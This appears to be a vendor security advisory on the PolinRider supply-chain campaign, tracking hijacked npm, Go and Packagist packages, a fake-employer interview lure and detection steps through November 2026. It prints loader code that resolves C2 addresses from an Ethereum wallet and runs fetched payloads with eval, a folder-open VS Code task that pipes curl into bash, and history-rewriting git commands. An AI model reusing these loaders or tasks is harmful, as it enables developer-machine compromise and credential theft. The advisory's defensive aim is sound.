critical

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-494, CWE-200

Affected Surface

  • 12 malicious npm releases across 10 hijacked `@adminide-stack/*`, `@cdmbase/wiki-browser`, `@pubngo-stack/help-browser`, `cdeops`, and `server-hemera-mongo` packages published on 3-4 November 2026 (`@adminide-stack/client-redux@0.0.16-18`, `@adminide-stack/health-api-server@0.0.18-alpha.465`, `@adminide-stack/user-activity-browser@1.1.3-alpha.114`, `@adminide-stack/utils@0.0.16-129` and `0.0.16-130`, `server-hemera-mongo@0.0.15` and `0.0.16`, `cdeops@13.5.31` `GHSA-4rxj-jcfq-cpm2`, `@adminide-stack/forms-core@5.1.9-alpha.3`, `@adminide-stack/yantra-help-browser@12.0.194`, `@cdmbase/wiki-browser@12.0.18-alpha.53`, and `@pubngo-stack/help-browser@12.0.23-alpha.3`), plus 7 Tailwind/React form packages (`react-contact-forms@0.5.2`, `tailwindcss-form-utils@0.5.9`, `tailwind-contact-forms@0.5.8`, `tailwindcss-contact-form@0.5.5`, `tailwind-form-core@0.5.5`, `tailwind-input-kit@0.5.5`, `tailwind-forms-kit@0.5.5`), all removed from `registry.npmjs.org` on 4 November 2026, alongside 3 Tailwind plugins (`tailwind-lines-clamps@0.4.5`, `tailwind-lineclamp@0.4.5`, and `tailwindcss-form-ui@0.5.8`, OpenSSF PR `#1765`) that stayed live until npm replaced them on 12-13 November 2026
  • 10 AccuraSoftHire fake-interview Tailwind look-alikes (`tailwind-custom-forms`, `tailwindcss-contact-forms`, `tailwind-form-styles`, `tailwind-forms-kit`, `tailwind-lines-clamps`, `tailwind-clamps-line`, `tailwind-lineclamp`, `scrollbar-hide-plugin`, `tailwindcss-anim`, `tailwind-anim`), all removed from npm by 13 November 2026, plus the `accurasofthire[.]com` camera-driver payload
  • 162 malicious artifacts across 108 packages and extensions spanning npm, Go, Packagist, and Chrome
  • Named npm examples include tailwindcss-style-animate 1.1.6, tailwind-mainanimation 2.3.3, and tailwind-autoanimation 2.3.6
  • Named repo and module examples include github.com/Xpos587/git2md, Xpos587/markfetch, Artiffusion-Inc/mirofish, and 7span/react-list
  • Developer workstations, CI runners, and VS Code / Cursor / Antigravity / Discord / GitHub Desktop environments that installed affected packages or opened weaponized repositories

Update, 15 November 2026 (AccuraSoftHire fake employer, last three Tailwind plugins pulled, corrected wallet address): JFrog Security Research has traced the Tailwind look-alike packages to a fake company called AccuraSoftHire. The company had a careers site at accurasofthire[.]com (registered 17 April 2026), job ads on Indeed and Glassdoor, and recruiters with ID-verified LinkedIn profiles. Candidates were given a 90-minute React take-home whose tailwind.config.js loads eleven plugins. Ten are real. The eleventh is a copy of an official Tailwind plugin with the PolinRider loader appended: tailwind-custom-forms in the version JFrog shows, and tailwind-lines-clamps, tailwind-clamps-line, tailwind-lineclamp, tailwind-forms-kit, tailwind-form-styles or tailwindcss-contact-forms in others. Each time npm pulled one, the operator edited the task to name a fresh copy. The loader runs when Tailwind builds the CSS, not during npm install, so tools that only watch install scripts never see it. JFrog tied the npm account sun117 (scrollbar-hide-plugin, build marker A10-npm-handy) to the company through one Gmail address, handy.apple117[@]gmail.com, which also signs commits from the GitHub account of AccuraSoftHire’s “project manager”. The careers site also handed out the loader itself. Its video-verification step was scripted to fail with “your system does not have a compatible camera environment” until the candidate ran a one-line curl for a “camera driver” (/camera-driver/setup-win, setup-mac, setup-linux). That installer fetches /camera-driver/payload.js, which carries the same loader with the marker A10-online. JFrog found no link between AccuraSoftHire and the 29 October Binance theft, even though Binance says that intrusion also began with a fake interview assignment.

On 13 November, StepSecurity checked JFrog’s package list against the registry and the blockchain. npm has now replaced the three packages that were still live in our 10 November update with 0.0.1-security placeholders. We confirmed all three on registry.npmjs.org on 15 November:

PackageMalicious versionFirst publishedReplaced on npm (UTC)Advisory
tailwindcss-form-ui0.5.1, 0.5.817 Sep 2026 (0.5.1)12 Nov 2026, 15:12GHSA-7chf-fj7v-p562
tailwind-lineclamp0.4.527 May 202612 Nov 2026, 15:43GHSA-pjpw-27p4-73xx
tailwind-lines-clamps0.4.516 Apr 202613 Nov 2026, 02:59GHSA-r79p-hc83-2mjh

tailwind-lines-clamps was installable for 211 days and tailwind-lineclamp for 169, and StepSecurity counted more than 4,000 downloads of the two in 2026. A registry cooldown of a few days would have held back the copies that npm pulled within a week of publication, but not these two. The other AccuraSoftHire packages were already gone before this update: tailwind-custom-forms (replaced 25 August), tailwind-clamps-line (26 May), tailwind-form-styles (22 September), tailwindcss-contact-forms (10 September), tailwind-anim (3 August), tailwindcss-anim (2 August), tailwind-forms-kit (4 November), and scrollbar-hide-plugin (unpublished 2 August). Treat any version of these other than npm’s security placeholder as malicious.

Correction to the wallet address. GitHub’s September advisory for tailwindcss-form-ui@0.5.1 (GHSA-hxjv-cpxc-564m), which we quoted in the 10 November update below, gives the dead-drop wallet as 0xa322E5f39aDC2490EfD311D3080e6f0121063e1a. That address has no transactions on Ethereum. The address the loader actually reads is 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a. Here is JFrog’s decode of payload.js, trimmed:

const SENDER='0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase();
const INDEXER_URL='hxxps://eth[.]blockscout[.]com/api';
...
const[ip1,ip2]=decodeAddress(match.tx.to);
...
await run_loader(new URL(`hxxp://${ip1}:443/0x/cls`),'q4FZkxX{!h,Sr3=@',!1);
await run_loader(new URL(`hxxp://${ip1}:443/0x/ls`),'y-p_>d$0B&@^1aQk',!0)
  • SENDER and INDEXER_URL: the loader asks Blockscout for the newest transaction sent by this wallet. No server address is hard-coded anywhere in the package.
  • decodeAddress(match.tx.to): the transaction’s recipient is not a real account. Its first eight bytes are two IPv4 addresses (in practice the same one twice), followed by the ASCII text helloipbot!!.
  • The two run_loader calls fetch /0x/cls and /0x/ls over plain HTTP on port 443 and XOR-decode them with the embedded keys. These are the same paths and keys as the @adminide-stack/* wave described in the 8 November update. The !1 and !0 flags pick in-process execution or a detached Node process.

On 15 November we read the wallet on Blockscout. Its latest transaction (19 October 2026, 10:22:59 UTC) goes to 0x67B38e9b67B38E9b68656c6C6f6970626f742121, which decodes to 103.179.142[.]155 twice plus helloipbot!!. StepSecurity decoded the wallet’s full history (609 outgoing transactions since 25 July) into eight C2 addresses:

C2 addressFirst posted (UTC)Last posted (UTC)
166.88.134[.]6225 Jul 202622 Aug 2026
23.27.13[.]13522 Aug 202627 Aug 2026
166.88.73[.]4628 Aug 20263 Sep 2026
193.247.144[.]384 Sep 202613 Oct 2026
166.88.134[.]7517 Sep 202628 Sep 2026
91.218.183[.]17428 Sep 20266 Oct 2026
23.27.13[.]7214 Oct 202614 Oct 2026
103.179.142[.]15516 Oct 202619 Oct 2026

The wallet has posted nothing since 19 October, so a loader running today still connects to 103.179.142[.]155. Machines infected earlier will have contacted one of the older addresses, so search proxy and firewall logs for all eight. The rest of the AccuraSoftHire indicators: npm accounts goss1000, sun117, evaward1, georgeodom1, and helmets; files CameraDriverUpdate.msi, CameraDriverUpdate-mac.zip, CameraDriverUpdate.deb, setup-full-windows.ps1, and %USERPROFILE%\.nvm\bootstrap.cmd; a Chrome or Edge extension loaded unpacked from a folder named job-new-alerts, with a native messaging host called com.accurasoft.jobalerts; and build markers A10-online, A10-npm-handy, and A10-new_npm. As of 13 November, accurasofthire[.]com was on registrar client hold and no longer resolved. The lockfile search and network hunt in the Detection section below now include these packages, wallets and addresses. If anyone on your team ran an interview assignment, or a “driver” command from a recruiter, on a work machine, rotate every credential on that machine and check the repositories they can push to for rewritten commits.

Update, 10 November 2026: On 10 November 2026 (16:57 UTC), Rising Sun Solutions LLC filed OpenSSF malicious-packages PR #1765 documenting three PolinRider Tailwind CSS plugin packages that remain live and installable on registry.npmjs.org as of 10 November 2026:

  • tailwind-lines-clamps@0.4.5 (published 2026-04-16 01:00:22 UTC by tail9999, tarball SHA-256 e2da8722de3c2950651cd36f2fd831b0e31411a3c4c81a2df79f6ebe731578b1): Copies the deprecated @tailwindcss/line-clamp plugin into src/index.js (SHA-256 f931b491d9b54f37..., 5,272 bytes) and appends the PolinRider require-time loader tagged global['!']='10' on the same line.
  • tailwind-lineclamp@0.4.5 (published 2026-05-27 04:15:02 UTC by tailwind1, tarball SHA-256 0582a545ff9c87ff9c51cd44ec68dc792a15cb53d5df9774e20f830a8eaddf31): Wraps the identical global['!']='10' loader inside eval(atob("...")) at the end of src/index.js (6,881 bytes).
  • tailwindcss-form-ui@0.5.8 (published 2026-11-03 20:32:23 UTC, tarball SHA-256 9962359d73748e47b903bbb3937f5630249f983b9994d61e76783f084c441c96): Following the September 2026 advisory for 0.5.1 (which polled Ethereum address 0xa322E5f39aDC2490EfD311D3080e6f0121063e1a), the publisher uploaded 0.5.8 on 3 November carrying the same 60-line character-swap permutation bootstrap (var z = '-^@^', var NX = [6912847, 367, 20411, 613, 43759, 5019283], var SX = [5283741, 241, 41953, 187, 56129, 4738901], spin()) used in the 3-4 November @adminide-stack/* compromises (src/index.js, 25,109 bytes, SHA-256 860f4933ca8ff3d4...). While npm placed a 0.0.0-stage version on tailwindcss-form-ui, latest on registry.npmjs.org still points to the live malicious 0.5.8 tarball.

Update, 8 November 2026: Between 3 and 4 November 2026 (22:00 UTC on 3 November to 07:28 UTC on 4 November), attackers hijacked the npm publisher accounts clockbook-app and pubngo-stack (associated with the 18-maintainer @cdmbase.com package estate previously hit by the August 2026 keyv/cacheable worm) and pushed 12 malicious releases across 10 established @adminide-stack/*, @cdmbase/wiki-browser, @pubngo-stack/help-browser, cdeops, and server-hemera-mongo packages (documented independently by Greenflagged, Sonatype Research Labs (sonatype-2026-010515), and OX Security, which also linked seven tailwind-* and react-contact-forms packages to the same Ethereum dead-drop wallet, for 17 packages and ~1,400 combined weekly downloads in all; GitHub ingested GHSA-7gx8-qvpw-82h6 and GHSA-4rxj-jcfq-cpm2 on 4-5 November, alongside the per-package advisories listed in the table below). None of the 12 releases use preinstall or postinstall hooks; instead, the loader executes when the package entrypoint (lib/index.js, dist/main.js, or client.js / server.js / src/index.js) is imported:

  1. Two Stage 1 loader variants (decoded SHA-256 c4b3cea95faf1294294285dd17b9e64fec6df8ad129204e7259868d4af4734f7 and c963e920baa12f4a5ea2be53bc4640d29263b247665a90846738ac64ff0e1911): Six releases (@adminide-stack/utils@0.0.16-129, @adminide-stack/client-redux@0.0.16-18, server-hemera-mongo@0.0.15 and 0.0.16, @adminide-stack/health-api-server@0.0.18-alpha.465, and @adminide-stack/user-activity-browser@1.1.3-alpha.114) append 131 to 157 tab characters (\t) followed by eval(atob("Z2xvYmFsLmkgPSAnQTEwLW5wbV9pbmplY3Qn...")) (global.i = 'A10-npm_inject', a 50,336-character payload) to the last line of the entry file. The other six releases (@adminide-stack/utils@0.0.16-130, @adminide-stack/forms-core@5.1.9-alpha.3, @adminide-stack/yantra-help-browser@12.0.194, cdeops@13.5.31, @cdmbase/wiki-browser@12.0.18-alpha.53, and @pubngo-stack/help-browser@12.0.23-alpha.3) replace eval(atob(...)) with a 60-line character-swap permutation bootstrap (var NX = [6912847, 367, 20411, 613, 43759, 5019283], var SX = [5283741, 241, 41953, 187, 56129, 4738901], peel, and Forge('z', peel("<14,567-char string>"))(z)) that obtains the Function constructor indirectly and sends Sec-V: A10-II, A10-E, A10-%, or A10-1234567890.
  2. Ethereum dead-drop C2 resolution (0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3): Both Stage 1 variants query Ethereum RPC endpoints (1rpc[.]io/eth, eth.drpc[.]org, ethereum-rpc.publicnode[.]com, eth-mainnet.public.blastapi[.]io, with eth.blockscout[.]com/api as fallback) for the latest transaction sent by wallet 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3 (the same wallet documented in late October PolinRider repository compromises). Each transaction’s 20-byte to address encodes the IPv4 C2 address twice in bytes 0..3 and 4..7 followed by ASCII helloipbot!! (0x5f87b5975f87b59768656c6c6f6970626f742121 -> 95.135.181[.]151, with earlier transactions encoding 166.88.134[.]75, 103.179.143[.]219, and 23.27.13[.]72). Stage 1 then requests hxxp://95.135.181[.]151:443/0x/cls and /0x/ls (plain HTTP over TCP port 443), reads the base64 payload from the x-payload-b64 response header, XOR-decrypts /0x/cls with key q4FZkxX{!h,Sr3=@ and /0x/ls with key y-p_>d$0B&@^1aQk, and pipes the decoded JavaScript into a detached spawn("node", ["-i"], { detached: true, windowsHide: true, stdio: "pipe" }) REPL process so the stage never touches disk. /0x/cls is also run in-process via eval().
  3. Stage 2 (/0x/npm-migrate, /0x/clb, /0x/cb) patches npm/lib/cli.js and Electron IDE startup files: As captured and statically decoded by Greenflagged on 4 November (payloads served from /0x/cls, SHA-256 dc45f264c338c024b67c666cea25ffb247e0e4261cf40af6a4ddd2627ccc722f, and /0x/ls, SHA-256 228f3c5924325161c398a6c2b66334397b850b6d9248fd1a6ccd65ba1b567eda), /0x/cls fetches /0x/npm-migrate (SHA-256 3bf784a4857b20260a15f317d4b2534c3823ff9d5b13fe44e135676b11d43ebb), which writes ~/.node_modules/.npm-ws.json, ~/.node_modules/.npm-ws-runner.js, ~/.node_modules/.npm-ws.pid, and ~/.node_modules/.npm-ws.log and appends a 200-space-padded kick snippet marked /*M260630A*/ to lib/cli.js of every installed npm (including npm root -g, process.execPath, ~/.nvm/versions/node/*, /usr/local/lib/node_modules/npm/lib/cli.js, and %APPDATA%\npm on Windows with /*NPM_WS_SHIM*/) so every subsequent npm command relaunches the implant. It then fetches /0x/clb (or /0x/cb), which decodes to a 156 KB socket.io Node RAT (SHA-256 8252068e04cad13c326fb7b833c4db8f45522a52984b7315c089b8b914babce1) that installs socket.io-client into a hidden nm-npm-cache-* directory, exposes remote shell, file-upload (ss_upf), clipboard (Get-Clipboard, pbpaste, xclip, xsel), and Python stages (ss_info, ss_eval, ss_eval64, ss_inz, ss_inzx, ss_connect, ss_stop, ss_exit, ss_exit_f), and injects a 1.5 MB re-obfuscated Stage 1 loader (inz / /0x/js, SHA-256 9aa477d1b5ea243aaa71e044de2cb6301c585259319e2913befe06dc0a86838d, marked /*RS260605*/, /*C250617A*/../*C250620A*/, /*C260511A*/, with side files *.inz.cjs, *.inz.orig, and *.inz.tmp) into out/main.js and node_modules/@vscode/deviceid/dist/index.js of VS Code, Cursor, Antigravity, Discord (modules/discord_desktop_core/index.js), and GitHub Desktop (main.js). While npm removed all 12 malicious package versions by 20:40 UTC on 4 November, any machine that loaded them must inspect ~/.node_modules/.npm-ws*, npm/lib/cli.js, and editor startup files using the commands added to the Detection section below.
  4. Additional Tailwind/CSS and TypeScript-directive npm malware advisories on 6 November 2026: On 6 November (17:05 to 21:30 UTC), GitHub also published malware advisories for three Tailwind/CSS lure packages (tw-motion-css GHSA-chcp-mhw3-w5hq, automic-style-engine GHSA-96vr-mq8q-pxcc, and tailwind-animationfound GHSA-mqqf-4p32-jgph) and six scoped packages impersonating TypeScript/bundler directives (@sideeffects/n GHSA-3r7f-mx9r-h22h, @ts-expect-error/n GHSA-pc8x-j8xp-chwx, @noinheritdoc/n GHSA-8qcq-2278-9c4c, @needsaudit/n GHSA-8592-4qmq-q59w, @needsaudit/nexport GHSA-v24v-jw84-cp3h, and @site-cms/ssr GHSA-w94v-q73c-48mf).
PackageMalicious version(s)Published (UTC)Publisher accountAdvisory IDStage 1 bootstrap variant (Sec-V header)
@adminide-stack/utils0.0.16-129, 0.0.16-1302026-11-03 22:00 / 22:48clockbook-appGHSA-7gx8-qvpw-82h60.0.16-129: 157 \t tabs + eval(atob(...)) (A10-npm_inject); 0.0.16-130: spin/peel/Forge('z') (A10-II)
@adminide-stack/client-redux0.0.16-182026-11-03 22:05clockbook-appGHSA-phqq-85q5-xmqm157 \t tabs + eval(atob(...)) in lib/index.js:292 (A10-npm_inject)
server-hemera-mongo0.0.15, 0.0.16 (the GHSA also lists 0.0.12)2026-11-03 22:12 / 23:16clockbook-appGHSA-rrhh-mxmx-x7xf157 \t tabs + eval(atob(...)) in dist/main.js:117 (A10-npm_inject)
@adminide-stack/health-api-server0.0.18-alpha.4652026-11-03 23:20clockbook-appGHSA-w4gc-9685-7pr8131 \t tabs + eval(atob(...)) in lib/index.js:580 (A10-npm_inject)
@adminide-stack/user-activity-browser1.1.3-alpha.1142026-11-03 23:34clockbook-appGHSA-ff5p-vgj6-cjcp131 \t tabs + eval(atob(...)) in lib/index.js:595 (A10-npm_inject)
@adminide-stack/forms-core5.1.9-alpha.32026-11-04 04:51pubngo-stackGHSA-qrh3-jr62-6rfmspin/peel/Forge('z') character-permutation bootstrap in lib/index.js (A10-II)
@adminide-stack/yantra-help-browser12.0.1942026-11-04 05:18pubngo-stackGHSA-7wfq-2q8j-q4xjspin/peel/Forge('z') bootstrap in lib/index.js (A10-%)
cdeops13.5.312026-11-04 05:44pubngo-stackGHSA-4rxj-jcfq-cpm2spin/peel/Forge('z') bootstrap in client.js (before global.require('cdeops/client')), server.js, and src/index.js (A10-E)
@cdmbase/wiki-browser12.0.18-alpha.532026-11-04 06:58pubngo-stackGHSA-qg2p-28h9-mjw8spin/peel/Forge('z') bootstrap in lib/index.js (A10-1234567890)
@pubngo-stack/help-browser12.0.23-alpha.32026-11-04 07:28pubngo-stackGHSA-284w-rrfr-35rgspin/peel/Forge('z') bootstrap in lib/index.js (A10-1234567890)

React and Tailwind form packages reported by OX Security (replaced with 0.0.1-security / unpublished at 00:21 to 00:27 UTC on 4 November): react-contact-forms (0.5.2, GHSA-9pj8-f47m-rgp8), tailwindcss-form-utils (0.5.9, GHSA-p9jh-6rpw-jrjq), tailwind-contact-forms (0.5.8), tailwindcss-contact-form (0.5.5, GHSA-cvv5-f2cc-586q), tailwind-form-core (0.5.5, GHSA-8cm5-g9p9-26fr), tailwind-input-kit (0.5.5, GHSA-w4jv-38cq-v2wm), and tailwind-forms-kit (0.5.5, GHSA-cpgv-j9j3-hc97).

On 1 July 2026, Socket disclosed that the PolinRider campaign had expanded from its earlier npm-centric footprint into a broader cross-ecosystem compromise affecting 162 malicious release artifacts across 108 packages and extensions. The new count matters, but the more important technical point is that the operator is not inventing a new payload family for each ecosystem. The same small set of execution and anti-forensics tricks now appears anywhere the attacker can obtain maintainer or publishing access: npm packages, Go modules, Packagist projects, and at least one Chrome extension.

That makes this less of a “bad package” story and more of a developer-environment compromise pattern. Public reporting from Socket and OpenSourceMalware shows the same four building blocks repeating:

  1. append obfuscated JavaScript after legitimate project code
  2. hide or trigger the loader through normal developer tooling
  3. fetch a second stage from public blockchain infrastructure
  4. rewrite Git history so the malicious change looks older than it is

What is publicly confirmed as affected

Socket’s July 1 update confirms the broad campaign counts, but the public named inventory is still incomplete and expanding. The table below focuses on artifacts and projects that are explicitly named in the available reporting.

EcosystemConfirmed affected package or projectKnown malicious version or stateWhat is publicly confirmed
npmtailwindcss-style-animate1.1.6Used as the malicious dependency in the weaponized ShoeVista take-home project cluster
npmtailwind-mainanimation2.3.3Tailwind-adjacent impostor package; later replaced with 0.0.1-security
npmtailwind-autoanimation2.3.6Malicious package with payload appended to src/index.js
npmtailwindcss-typography-style0.8.2Publicly tracked as malicious in the same package family
npmtailwindcss-style-modify0.8.3Publicly tracked as malicious in the same package family
npmtailwindcss-animate-style1.2.5Publicly tracked as malicious in the same package family
Go modulesgithub.com/Xpos587/git2mdmalicious published module releaseSocket explicitly calls out the published malicious Go module after repository compromise
GitHub repos linked to Go waveXpos587/markfetch, Artiffusion-Inc/mirofishcompromised repositoriesUsed as public examples of the same operator and loader-hiding methods
Packagist / Composersevenspan namespace10 affected packages in totalPublic reporting confirms the namespace and campaign count, but not the full public package-name list
Packagist-linked repo7span/react-listcompromised repositoryNamed by Socket as a concrete indicator tied to the Packagist wave
Chrome extensionone unnamed extensionactive campaign artifactSocket confirms one extension in the 108-artifact set, but the public July 1 post does not name it

The asymmetry in public detail is important. We have strong confirmation that the campaign crossed ecosystems, but only a partial named inventory in the public reporting available today. Defenders should therefore treat the named set as representative, not exhaustive.

Config-file injection is still the primary execution surface

The oldest PolinRider trick still matters because it looks like ordinary frontend plumbing. Instead of adding an obvious postinstall hook, the malware appends code after a legitimate config export in files such as:

postcss.config.mjs
postcss.config.js
tailwind.config.js
eslint.config.mjs
next.config.mjs
vite.config.js
babel.config.js

The visible shape is simple and effective:

export default defineConfig({
  plugins: [tailwindcss(), autoprefixer()]
});

// malicious tail appended after the legitimate config body,
// often padded far off-screen with whitespace
global["_V"] = "8-st14";
var MDy = "...";
eval(MDy(...));

This placement matters because the code runs in a file the build tool already imports. A reviewer who checks that the “real” config keys look normal can still miss the appended payload if the malicious tail is hidden after a long whitespace gap or only shows up in a diff with horizontal scrolling.

The newer variant turns font files and VS Code tasks into an execution chain

The July reporting also confirms a newer execution path: the JavaScript loader is stored in a fake .woff2 file, then launched through .vscode/tasks.json when a developer opens the folder. That avoids the telltale “malicious code in a config file” signature while still keeping execution close to normal developer behavior.

A simplified public-research shape looks like this:

{
  "label": "sync-config",
  "type": "shell",
  "command": "node public/fonts/fa-solid-400.woff2",
  "runOptions": {
    "runOn": "folderOpen"
  }
}

Other observed tasks use remote bootstrap commands rather than local fake-font execution:

{
  "label": "environment-setup",
  "type": "shell",
  "command": "curl -fsSL https://default-configuration.vercel.app/settings/linux?flag=<id> | bash",
  "runOptions": {
    "runOn": "folderOpen"
  }
}

That means a repository can now be dangerous even before a package manager resolves anything. Opening the folder in VS Code can be enough to start the chain.

The second stage is a blockchain-backed dead drop

Socket and OpenSourceMalware both describe the same broad loader architecture: the local JavaScript reconstructs itself, reaches public blockchain infrastructure for encrypted payload material, decrypts the response with embedded XOR keys, and executes the resulting code with eval().

The execution flow can be reduced to:

const tronPayload = await getJson(
  "https://api.trongrid.io/v1/accounts/<wallet>/transactions?only_confirmed=true&only_from=true&limit=1"
);

const aptosFallback = await getJson(
  "https://fullnode.mainnet.aptoslabs.com/v1/accounts/<address>/transactions?limit=1"
);

const decrypted = xorDecrypt(encryptedStage, "2[gWfGj;<:-93Z^C");
eval(decrypted);

require("child_process").spawn("node", ["-e", decrypted], {
  detached: true,
  stdio: "ignore",
  windowsHide: true
});

Several details are worth calling out:

  • the local package or repository payload is only the loader, not the full malware
  • public blockchain data is used as a dead drop for second-stage retrieval
  • XOR keys are embedded locally, so the loader can reconstruct executable code without contacting a conventional malware domain first
  • detached child-process execution lets the second stage survive beyond the original build or editor action

Observed follow-on payloads publicly associated with this loader include DEV#POPPER and OmniStealer. OpenSourceMalware also ties the broader chain to BeaverTail-style follow-on tradecraft. The safest wording for defenders is that the loader is a reusable execution substrate, not a single fixed payload.

Git history rewriting is part of the malware, not just a cleanup step

One of the most operationally important details in the public tracker is temp_auto_push.bat, a propagation and anti-forensics script left behind in many victim repositories. The script rewinds the local system clock, amends the latest commit, and force-pushes the rewritten history while preserving the original commit message and timestamp.

The core logic looks like:

git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
git push -uf origin %CURRENT_BRANCH% --no-verify

That snippet is not interesting by itself. The important context is the surrounding logic:

  • read the original commit author, date, time, and message with git log -1
  • set the local Git identity to match that author
  • temporarily change the Windows system clock to the prior commit timestamp
  • amend the commit
  • restore the real clock and force-push

In practice, that means the default GitHub file view can look normal while the Activity view or reflog-equivalent evidence shows that history was rewritten later. This is why ordinary “latest commit looks old” reasoning is not trustworthy for this campaign.

Why this belongs on AppSec and build-security dashboards

PolinRider is dangerous because the compromise point sits exactly where developer trust is highest:

  • build configs
  • dependency installs
  • editor automation
  • repository history
  • maintainer publish workflows

Once one of those paths executes, the attacker is operating in the same context as the developer or CI job:

process.env
.env files
.npmrc and package registry tokens
GitHub and Git credentials
cloud and Kubernetes credentials
workspace source code
IDE and editor settings

This is a strong example of why “no suspicious runtime behavior in the shipped app” is the wrong security boundary. The compromise happens before the application ever starts.

Detection and scoping

Start by hunting for the public file and loader indicators:

rg -n \
  "rmcej%otb%|Cot%3t=shtP|global\\['_V'\\]|global\\['!'\\]|_\\$_1e42|MDy|TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP|fullnode\\.mainnet\\.aptoslabs\\.com|default-configuration\\.vercel\\.app" \
  .

Search for the VS Code task trigger and suspicious fake-font execution:

rg -n '"runOn"\\s*:\\s*"folderOpen"|\\.woff2|curl -fsSL|wget .*vercel\\.app' .vscode . public static assets

Search package manifests and lockfiles for the publicly named npm artifacts (including the November 2026 @adminide-stack/*, cdeops, server-hemera-mongo, @cdmbase/wiki-browser, and @pubngo-stack/help-browser wave):

rg -n \
  "@adminide-stack/(client-redux|health-api-server|user-activity-browser|utils|forms-core|yantra-help-browser)|@cdmbase/wiki-browser|@pubngo-stack/help-browser|server-hemera-mongo|cdeops|react-contact-forms|tailwindcss-form-utils|tailwind-contact-forms|tailwindcss-contact-form|tailwind-form-core|tailwind-input-kit|tailwind-forms-kit|tailwindcss-style-animate|tailwind-mainanimation|tailwind-autoanimation|tailwindcss-typography-style|tailwindcss-style-modify|tailwindcss-animate-style|tailwindcss-form-ui|tailwind-custom-forms|tailwindcss-contact-forms|tailwind-form-styles|tailwind-lines-clamps|tailwind-clamps-line|tailwind-lineclamp|scrollbar-hide-plugin|tailwindcss-anim|tailwind-anim" \
  package.json package-lock.json pnpm-lock.yaml yarn.lock

Check developer workstations and CI runners for the November 2026 Stage 2 persistence files (~/.node_modules/.npm-ws*), patched npm/lib/cli.js (M260630A / NPM_WS_SHIM), and injected Electron editor startup files (RS260605, C250617A..C250620A, C260511A) without invoking npm directly:

ls -la ~/.node_modules/.npm-ws* 2>/dev/null

grep -l -F -e 'M260630A' -e 'NPM_WS_SHIM' \
  "$(dirname "$(command -v node)")"/../lib/node_modules/npm/lib/cli.js \
  /usr/local/lib/node_modules/npm/lib/cli.js \
  /opt/homebrew/lib/node_modules/npm/lib/cli.js \
  ~/.nvm/versions/node/*/lib/node_modules/npm/lib/cli.js 2>/dev/null

grep -l -E 'C25061[789]A|C250620A|C260511A|RS260605' \
  "/Applications/Visual Studio Code.app/Contents/Resources/app/out/main.js" \
  "/Applications/Visual Studio Code.app/Contents/Resources/app/node_modules/@vscode/deviceid/dist/index.js" \
  "/Applications/Cursor.app/Contents/Resources/app/out/main.js" \
  "/Applications/Cursor.app/Contents/Resources/app/node_modules/@vscode/deviceid/dist/index.js" \
  "/Applications/Antigravity.app/Contents/Resources/app/node_modules/@vscode/deviceid/dist/index.js" \
  "/Applications/GitHub Desktop.app/Contents/Resources/app/main.js" \
  /usr/share/code/resources/app/out/main.js \
  /usr/share/cursor/resources/app/out/main.js 2>/dev/null

find ~ /Applications /usr/share -name '*.inz.cjs' -o -name '*.inz.orig' -o -name '*.inz.tmp' 2>/dev/null

Also hunt for detached node -i child processes and outbound plaintext HTTP requests on port 443 to /0x/cls or /0x/ls carrying Sec-V: A10-npm_inject, A10-II, A10-E, A10-%, A10-1234567890, A10-online, A10-npm-handy, or A10-new_npm. Requests to eth.blockscout.com or public Ethereum RPC endpoints from a frontend build or a developer laptop are worth a look on their own. For the AccuraSoftHire wave, search logs for the eight addresses decoded from wallet 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a and check developer machines for the camera-driver bootstrap and the unpacked extension:

grep -E '103\.179\.142\.155|23\.27\.13\.72|91\.218\.183\.174|166\.88\.134\.75|193\.247\.144\.38|166\.88\.73\.46|23\.27\.13\.135|166\.88\.134\.62|accurasofthire\.com' /var/log/squid/access.log* 2>/dev/null

rg -l --hidden -F -e 'A10-online' -e 'A10-npm-handy' -e 'A10-new_npm' ~ 2>/dev/null

find ~ -type d -name 'job-new-alerts' 2>/dev/null
ls ~/.nvm/bootstrap.cmd 2>/dev/null

On Windows, also check HKCU\Software\Google\Chrome\NativeMessagingHosts and HKCU\Software\Microsoft\Edge\NativeMessagingHosts for com.accurasoft.jobalerts.

And if a repository may have been modified locally, inspect for Git-history tampering artifacts:

rg -n "temp_auto_push\\.bat|config\\.bat" .
git reflog --date=iso

For GitHub-hosted repositories, review Activity and force-push events rather than trusting only the current branch view.

Response guidance

Treat any installation of an affected package version, and any VS Code open of a weaponized repository, as code execution on the host.

  1. Preserve lockfiles, package caches, Git metadata, and editor config before cleanup.
  2. Rebuild affected workstations or CI runners from clean images where possible.
  3. Rotate every credential exposed to the host: GitHub, npm, cloud, Docker, SSH, CI, chat, and deployment secrets.
  4. Audit repositories for hidden .vscode/tasks.json automation, off-screen config tails, and history rewrites.
  5. Re-pin dependencies from known-good lockfiles instead of re-running floating installs.
  6. Re-scan repositories that were “cleaned” earlier; public reporting shows the operator re-infecting prior victims with a rotated obfuscator.

The most important lesson from the July 2026 PolinRider expansion is not that the campaign reached 108 public artifacts. It is that the same loader, the same execution paths, and the same anti-forensics strategy now move fluidly between ecosystems. Once attackers compromise the maintainer or the publish path, npm, Go, Packagist, and IDE automation all become equivalent delivery surfaces.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References